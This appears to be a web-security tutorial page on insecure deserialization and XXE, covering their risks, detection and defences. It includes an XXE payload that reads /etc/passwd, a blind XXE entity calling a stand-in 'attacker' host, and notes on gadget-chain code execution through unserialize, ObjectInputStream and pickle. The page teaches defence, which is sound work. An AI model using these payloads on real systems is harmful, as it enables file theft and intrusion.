

Insecure Deserialization & XXE

Insecure deserialization (A08)

Serializing user-supplied bytes into objects. If the class gadget chain is in scope, arbitrary code executes:

Java (ysoserial gadgets), PHP (phar/laravel), Python (pickle flood, yaml load)

Object deserialization $\neq$ JSON parse (safe); it's the *native* format

```
# php unserialize() with attacker payload -> property injection
# java ObjectInputStream with ysoserial gadget -> Runtime.getRuntime().exec()
# pickles: pickle.loads(attacker_bytes) -> execute
```

Why it's scary

Often unauthenticated, and the whole app is a deserialization target

Detection is hard (HTTP body is opaque binary structure)

Defenses

Prefer JSON/text protocols; **never** expose native deserialization to users

Sign+tamper-check serialized state (session.sign, JWT)

Allowlist classes (Java ObjectInputFilter, php allowed_classes=false)

Keep libraries patched (gadgets depend on versions)

Detect: WAF-aware signatures are weak; rely on runtime tools (Java agent, .NET serializer checks)

XXE (XML External Entity)

Legacy parsers (libxml old) can expand entities that read local files or hit URLs:

```
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>          <!-- discloses /etc/passwd in response -->

<!-- blind/network: -->
<!ENTITY xxe SYSTEM "http://attacker:8080/data">
```

Detection

XML input (SOAP, SVG upload, RSS import, DTD elsewhere), disabled external entities.

xxe-based: try a single file read; then blind via OOB (external DTD)

Defenses

Disable external entity resolution: `'libxml_disable_entity_loader(true)'`,
XXE false in parsers

Never parse untrusted XML if avoidable (JSON/JSON-Schema instead)

If XML required: restrict DTDs, disable external-general entities entirely

Deserialization: bytes → objects → code. XXE: entity → file → response. Both are 'the parser trusted the format more than the content'.

[← Command Injection, Path Trav...](#)

[JWT Attacks & API Security →](#)